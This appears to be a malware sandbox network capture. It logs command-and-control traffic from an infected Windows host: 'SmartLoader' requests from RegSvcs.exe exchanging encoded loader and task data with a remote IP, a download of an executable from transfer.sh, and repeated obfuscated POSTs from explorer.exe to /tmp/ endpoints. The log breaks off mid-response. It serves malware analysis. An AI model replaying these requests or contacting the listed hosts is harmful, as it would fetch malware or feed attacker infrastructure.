35	192.168.2.4	49730	84.252.73.140	80	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	kBytes transferred	Direction	Data
Mar 24, 2023 01:27:17.465198040 CET	2018	OUT	PUT /loader/OWUsN2UsODMsOWIsOWUsODIsOTAsOTEsNjQsN2Ys HTTP/1.1 Content-Type: application/json User-Agent: SmartLoader Host: 84.252.73.140 Content-Length: 575 Cache-Control: no-cache Data Raw: 7b 22 64 61 74 61 22 3a 22 59 6a 4d 73 59 7a 59 73 59 7a 4d 73 59 32 49 73 5a 44 45 73 59 57 45 73 4f 57 4d 73 59 6d 49 73 59 6a 55 73 59 57 49 73 4f 44 55 73 4f 44 67 73 4e 6d 55 73 4f 54 51 73 59 7a 6b 73 59 57 45 73 59 6a 63 73 59 6a 59 73 59 54 6b 73 4f 54 6b 73 4e 6d 4d 73 59 6d 45 73 59 57 49 73 4e 6a 4d 73 4f 44 4d 73 4f 44 55 73 59 54 6b 73 4f 54 45 73 4f 47 51 73 4e 6a 59 73 59 54 49 73 4e 32 4d 73 4f 44 41 73 4f 54 67 73 4f 57 49 73 4f 57 4d 73 59 54 45 73 4e 32 49 73 4f 44 63 73 4f 47 59 73 59 6a 45 73 59 6a 41 73 4f 57 49 73 4f 47 4d 73 4f 47 55 73 4e 6a 49 73 4f 47 49 73 4f 44 4d 73 4f 47 4d 73 59 6d 45 73 4f 47 49 73 59 32 4d 73 59 54 55 73 5a 54 49 73 5a 44 63 73 59 54 49 73 59 7a 51 73 59 6a 55 73 5a 54 55 73 4f 54 59 73 4e 7a 6b 73 4e 6a 49 73 59 54 51 73 4e 6d 4d 73 4e 32 45 73 4f 47 45 73 4f 44 67 73 5a 47 4d 73 5a 47 59 73 4f 57 51 73 59 7a 55 73 4f 54 51 73 5a 54 49 73 5a 54 59 73 59 7a 4d 73 59 6d 4d 73 59 6d 49 73 4e 54 4d 73 59 7a 55 73 59 6a 59 73 59 6a 67 73 5a 57 49 73 5a 47 55 73 59 54 59 73 4e 6d 55 73 59 54 6b 73 4f 54 55 73 4e 57 55 73 4f 44 63 73 4e 32 55 73 59 54 67 73 4f 47 49 73 4e 7a 55 73 4e 6a 51 73 4f 57 55 73 4e 57 51 73 59 57 45 73 59 7a 59 73 5a 44 63 73 5a 44 55 73 5a 54 41 73 59 57 45 73 59 32 4d 73 4f 54 51 73 59 6d 49 73 59 6d 59 73 4e 32 49 73 59 6d 45 73 59 6a 45 73 59 54 45 73 59 32 51 73 4e 32 55 73 59 57 51 73 5a 57 55 73 5a 44 63 73 5a 44 49 73 4f 54 6b 73 5a 47 51 73 4f 47 51 73 59 54 45 73 59 6a 6b 73 59 6d 51 73 5a 44 67 73 5a 44 4d 73 59 6a 59 73 4f 57 55 73 5a 44 4d 73 4e 7a 51 73 4f 47 4d 73 59 32 4d 73 5a 44 51 73 5a 44 59 73 5a 47 4d 73 4f 57 51 73 4f 44 49 73 59 6a 45 73 5a 57 51 73 5a 54 6b 73 59 6d 55 73 59 6d 45 73 59 6a 41 3d 22 7d Data Ascii: {"data":"YjMsYzYsYzMsY2IsZDEsYWEsOWMsYmIsYjUsYWIsODUsODgsNmUsOTQsYzksYWEsYjcsYjYsYTksOTksNmMsYmEsYWIsNjMsODMsODUsYTksOTEsOGQsNjYsYTIsN2MsODAsOTgsOWIsOWMsYTEsN2IsODcsOGYsYjEsYjAsOWIsOGMsOGUsNjIsOGIsODMsOGMsYmEsOGIsY2MsYTUsZTIsZDcsYTIsYzQsYjUsZTUsOTYsNzksNjIsYTQsNmMsN2EsOGEsODgsZGMsZGYsOWQsYzUsOTQsZTIsZTYsYzMsYmMsYmIsNTMsYzUsYjYsYjgsZWIsZGUsYTYsNmUsYTksOTUsNWUsODcsN2UsYTgsOGIsNzUsNjQsOWUsNWQsYWEsYzYsZDcsZDUsZTAsYWEsY2MsOTQsYmIsYmYsN2IsYmEsYjEsYTEsY2QsN2UsYWQsZWUsZDcsZDIsOTksZGQsOGQsYTEsYjksYmQsZDgsZDMsYjYsOWUsZDMsNzQsOGMsY2MsZDQsZDYsZGMsOWQsODIsYjEsZWQsZTksYmUsYmEsYjA="}
Mar 24, 2023 01:27:17.794943094 CET	2030	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 24 Mar 2023 00:27:17 GMT Content-Type: application/json Content-Length: 1372 Connection: keep-alive CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=J9N3fEHwJMNnDnlWLFIuZVd5giFt9czRmlVllzBKgmXUpRt2Hf%2Fh%2BLdH7JtZuAR7X2LgoZQDslyGS4wjAYzRThqoWrLUVslZCEQcYGSupnIIuRjOmpiyImtoj0hR8WVC3g%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} CF-RAY: 7acac99abe1d4266-AMS alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400 Data Raw: 7b 22 6c 6f 61 64 65 72 22 3a 22 59 7a 49 73 4e 7a 6b 73 59 7a 51 73 5a 54 41 73 5a 47 4d 73 4f 54 6b 73 59 7a 59 73 59 32 45 73 5a 44 63 73 5a 47 49 73 59 6d 45 73 59 6d 51 73 59 57 51 73 4f 57 49 73 59 6a 67 73 59 54 59 73 59 7a 55 73 4f 57 49 73 4f 57 59 73 4f 44 6b 73 4e 6a 63 73 59 54 45 73 4f 44 63 73 4e 47 59 73 59 6a 45 73 59 7a 55 73 5a 54 63 73 59 7a 67 73 59 6a 6b 73 59 54 55 73 5a 47 4d 73 4e 54 6b 73 4f 44 45 73 4e 7a 63 73 4f 54 4d 73 4f 54 4d 73 4f 47 4d 73 4e 57 45 73 59 7a 55 73 59 6d 4d 73 5a 54 51 73 5a 44 67 73 59 32 45 73 59 7a 55 73 59 57 49 73 4f 54 55 73 4e 7a 59 73 4e 32 49 73 4e 7a 4d 73 5a 6a 51 73 4f 44 63 73 5a 47 51 73 4f 57 59 73 5a 54 49 73 59 32 4d 73 4e 47 59 73 4f 47 45 73 4e 7a 41 73 59 54 41 73 4f 47 45 73 4e 7a 4d 73 4e 54 41 73 4f 54 41 73 59 57 45 73 59 6d 49 73 59 6a 67 73 5a 44 59 73 5a 47 4d 73 5a 47 59 73 4e 57 45 73 4f 47 51 73 4e 7a 63 73 5a 47 55 73 5a 44 67 73 59 7a 45 73 59 32 45 73 59 57 51 73 59 57 45 73 4f 44 41 73 4e 6a 45 73 4e 7a 55 73 5a 57 51 73 59 7a 59 73 59 32 49 73 59 54 49 73 5a 47 45 73 5a 47 49 73 4e 47 59 73 4f 47 45 73 4e 7a 41 73 5a 57 55 73 4e 32 49 73 59 6d 49 73 4f 54 55 73 5a 54 59 73 59 57 49 73 4e 6a 6b 73 4f 54 45 73 4f 44 49 73 4f 44 6b 73 59 57 51 73 59 54 59 73 4e 7a 4d 73 59 6d 4d 73 5a 57 45 73 5a 54 6b 73 59 7a 51 73 59 7a 6b 73 4e 6a 67 73 4f 57 4d 73 59 6a 63 73 59 54 51 73 59 7a 67 73 5a 57 49 73 5a 44 63 73 59 32 55 73 4f 57 45 73 4f 54 63 73 4f 54 4d 73 4e 47 51 73 4e 7a 49 73 59 7a 4d 73 5a 54 63 73 59 6d 45 73 59 6d 49 73 59 54 55 73 5a 54 45 73 4e 54 6b 73 4f 44 45 73 4e 7a 63 73 59 7a 67 73 59 7a 67 73 5a 44 67 73 59 57 49 73 59 6a 67 73 5a 44 51 73 5a 6a 55 73 22 2c 22 74 61 73 6b 73 22 3a 22 59 54 49 73 5a 44 49 73 4f 44 51 73 5a 44 41 73 5a 44 41 73 4e 57 45 73 4f 47 51 73 4e 7a 63 73 59 57 51 73 59 54 67 73 4f 44 6b 73 4f 44 4d 73 4e 6a 67 73 4e 47 59 73 59 7a 41 73 59 57 45 73 59 7a 45 73 5a 54 51 73 4f 44 63 73 59 54 4d 73 4e 54 59 73 4f 54 63 73 59 32 59 73 59 54 45 73 59 7a 51 73 59 7a 41 73 5a 54 59 73 4f 54 4d 73 4e 7a 59 73 Data Ascii: {"loader":"YzIsNzksYzQsZTAsZGMsOTksYzYsY2EsZDcsZGIsYmEsYmQsYWQsOWIsYjgsYTYsYzUsOWIsOWYsODksNjcsYTEsODcsNGYsYjEsYzUsZTcsYzgsYjksYTUsZGMsNTksODEsNzcsOTMsOTMsOGMsNWEsYzUsYmMsZTQsZDgsY2EsYzUsYWIsOTUsNzYsN2IsNzMsZjQsODcsZGQsOWYsZTIsY2MsNGYsOGEsNzAsYTAsOGEsNzMsNTAsOTAsYWEsYmIsYjgsZDYsZGMsZGYsNWEsOGQsNzcsZGUsZDgsYzEsY2EsYWQsYWEsODAsNjEsNzUsZWQsYzYsY2IsYTIsZGEsZGIsNGYsOGEsNzAsZWUsN2IsYmIsOTUsZTYsYWIsNjksOTEsODIsODksYWQsYTYsNzMsYmMsZWEsZTksYzQsYzksNjgsOWMsYjcsYTQsYzgsZWIsZDcsY2UsOWEsOTcsOTMsNGQsNzIsYzMsZTcsYmEsYmIsYTUsZTEsNTksODEsNzcsYzgsYzgsZDgsYWIsYjgsZDQsZjUs","tasks":"YTIsZDIsODQsZDAsZDAsNWEsOGQsNzcsYWQsYTgsODksODMsNjgsNGYsYzAsYWEsYzEsZTQsODcsYTMsNTYsOTcsY2YsYTEsYzQsYzAsZTYsOTMsNzYs
Mar 24, 2023 01:27:17.795008898 CET	2031	IN	Data Raw: 4e 57 59 73 5a 54 49 73 59 54 6b 73 59 54 67 73 59 7a 55 73 5a 44 55 73 59 32 51 73 5a 44 45 73 59 57 45 73 4f 44 45 73 59 32 45 73 5a 54 41 73 59 54 59 73 59 6d 4d 73 59 6d 4d 73 59 6d 4d 73 4e 57 4d 73 59 32 51 73 4f 44 49 73 4f 54 67 73 59 7a Data Ascii: NWYsZTIsYTksYTgsYzUsZDUsY2QsZDEsYWEsODEsY2EsZTAsYTYsYmMsYmMsYmMsNWMsY2QsODIsOTgsYzksZDUsZDUsNjUsZGMsY2UsOTQsYjcsYjUsYTEsYmUsYmYsOTUsOTAsNjMsNjcsNzksYzgsZDAsZDgsOWQsYjIsYzcsZDksZWIsYmQsNzksODIsNGQsNzYsOTUsYjgsZTYsZDUsOGIsNjIsOTUsODksOTMsYjksYmM

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
36	192.168.2.4	49732	144.76.136.153	80	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	kBytes transferred	Direction	Data
Mar 24, 2023 01:27:17.904376030 CET	2032	OUT	GET /get/yAEPpl/gggge.exe HTTP/1.1 Content-Type: application/json User-Agent: SmartLoader Host: transfer.sh
Mar 24, 2023 01:27:17.928939104 CET	2032	IN	HTTP/1.1 301 Moved Permanently Server: nginx/1.18.0 Date: Fri, 24 Mar 2023 00:27:17 GMT Content-Type: text/html Content-Length: 169 Connection: keep-alive Location: https://transfer.sh/get/yAEPpl/gggge.exe Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx/1.18.0</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
4	192.168.2.4	49697	109.98.58.98	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Mar 24, 2023 01:26:46.210685968 CET	95	OUT	POST /tmp/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://qlcoxsrn.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 171 Host: aapu.at
Mar 24, 2023 01:26:46.210747957 CET	95	OUT	Data Raw: 3b 6e 59 17 f0 be 1a 21 a9 a9 c1 70 77 72 7c b9 7e 08 bb 97 62 74 92 11 01 79 0e e7 48 c6 b2 6e ea 59 b6 5b 0f 1a 26 11 ea 9a 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 1e 1d c7 41 20 ff 2d 5b 0b 6b 2c 90 f5 76 0b 75 47 2c b9 e4 Data Ascii: ;nY!pwr\|~btyHnY[&?*$`7C[zqNA -[k,vuG,]vXLQr[]X\|bXt-I>&s\|LG]A[ok<j
Mar 24, 2023 01:26:46.449074984 CET	96	IN	HTTP/1.1 200 OK Date: Fri, 24 Mar 2023 00:26:46 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 0 Connection: close Content-Type: text/html; charset=utf-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
5	192.168.2.4	49698	109.98.58.98	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Mar 24, 2023 01:26:47.799523115 CET	97	OUT	POST /tmp/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://ynmhgo.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 367 Host: aapu.at
Mar 24, 2023 01:26:47.799570084 CET	97	OUT	Data Raw: 3b 6e 59 17 f0 be 1a 21 a9 a9 c1 70 77 72 7c b9 7e 08 bb 97 62 74 92 11 01 79 0e e7 48 c6 b2 6e ea 59 b6 5b 0f 1a 26 11 ea 9a 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 1e 1d c7 41 20 ff 2d 5b 08 6b 2c 90 f5 76 0b 75 77 3b a2 9d Data Ascii: ;nY!pwr\|~btyHnY[&?*$`7C[zqNA -[k,vuw;DHh~@%kX]r#lAgnW}_HIkP'Q30_I#RJ5Z;9mPj^Sz= %
Mar 24, 2023 01:26:47.956916094 CET	98	IN	HTTP/1.0 404 Not Found Date: Fri, 24 Mar 2023 00:26:47 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 331 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/ was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
6	192.168.2.4	49699	109.98.58.98	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Mar 24, 2023 01:26:48.470540047 CET	99	OUT	POST /tmp/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://komvbmv.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 111 Host: aapu.at
Mar 24, 2023 01:26:48.470572948 CET	99	OUT	Data Raw: 3b 6e 59 17 f0 be 1a 21 a9 a9 c1 70 77 72 7c b9 7e 08 bb 97 62 74 92 11 01 79 0e e7 48 c6 b2 6e ea 59 b6 5b 0f 1a 26 11 ea 9a 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 1e 1d c7 41 20 ff 2d 5b 09 6b 2c 90 f5 76 0b 75 38 0c ff aa Data Ascii: ;nY!pwr\|~btyHnY[&?*$`7C[zqNA -[k,vu8Zjy[q>jOa]
Mar 24, 2023 01:26:48.609016895 CET	100	IN	HTTP/1.0 404 Not Found Date: Fri, 24 Mar 2023 00:26:48 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 331 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/ was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
7	192.168.2.4	49700	211.171.233.129	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Mar 24, 2023 01:26:48.912365913 CET	101	OUT	POST /tmp/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://puuaikphh.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 186 Host: aapu.at
Mar 24, 2023 01:26:48.912401915 CET	101	OUT	Data Raw: 3b 6e 59 17 f0 be 1a 21 a9 a9 c1 70 77 72 7c b9 7e 08 bb 97 62 74 92 11 01 79 0e e7 48 c6 b2 6e ea 59 b6 5b 0f 1a 26 11 ea 9a 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 1e 1d c7 41 20 ff 2d 5b 0e 6b 2c 90 f5 76 0b 75 29 18 c0 f5 Data Ascii: ;nY!pwr\|~btyHnY[&?*$`7C[zqNA -[k,vu)\&`d1N3/\l=H=[mT1O`#&7DVmEiVTF
Mar 24, 2023 01:26:49.890492916 CET	102	IN	HTTP/1.0 404 Not Found Date: Fri, 24 Mar 2023 00:26:49 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 331 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/ was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
8	192.168.2.4	49701	109.98.58.98	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Mar 24, 2023 01:26:49.997375011 CET	103	OUT	POST /tmp/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://cxlakqym.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 327 Host: aapu.at
Mar 24, 2023 01:26:49.997453928 CET	103	OUT	Data Raw: 3b 6e 59 17 f0 be 1a 21 a9 a9 c1 70 77 72 7c b9 7e 08 bb 97 62 74 92 11 01 79 0e e7 48 c6 b2 6e ea 59 b6 5b 0f 1a 26 11 ea 9a 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 1e 1d c7 41 20 ff 2d 5b 0f 6b 2c 90 f5 76 0b 75 76 2f b2 9b Data Ascii: ;nY!pwr\|~btyHnY[&?$`7C[zqNA -[k,vuv/)pGnRpp]Gj:FPtD?Q4A4_?NTph9aeDgX^;m(VL-i]w~1y`H:>20
Mar 24, 2023 01:26:50.139394045 CET	104	IN	HTTP/1.0 404 Not Found Date: Fri, 24 Mar 2023 00:26:50 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 331 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/ was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
9	192.168.2.4	49702	109.98.58.98	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Mar 24, 2023 01:26:50.272782087 CET	105	OUT	POST /tmp/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://racbxd.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 258 Host: aapu.at
Mar 24, 2023 01:26:50.272862911 CET	105	OUT	Data Raw: 3b 6e 59 17 f0 be 1a 21 a9 a9 c1 70 77 72 7c b9 7e 08 bb 97 62 74 92 11 01 79 0e e7 48 c6 b2 6e ea 59 b6 5b 0f 1a 26 11 ea 9a 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 1e 1d c7 41 20 ff 2d 5b 0c 6b 2c 90 f5 76 0b 75 31 5b d8 9f Data Ascii: ;nY!pwr\|~btyHnY[&?$`7C[zqNA -[k,vu1[CrjO'w.5Lm##6r:5Lg_@UtYD.&Uc(J/%;FP4J!:Xv
Mar 24, 2023 01:26:50.428040981 CET	106	IN	HTTP/1.0 404 Not Found Date: Fri, 24 Mar 2023 00:26:50 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 331 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 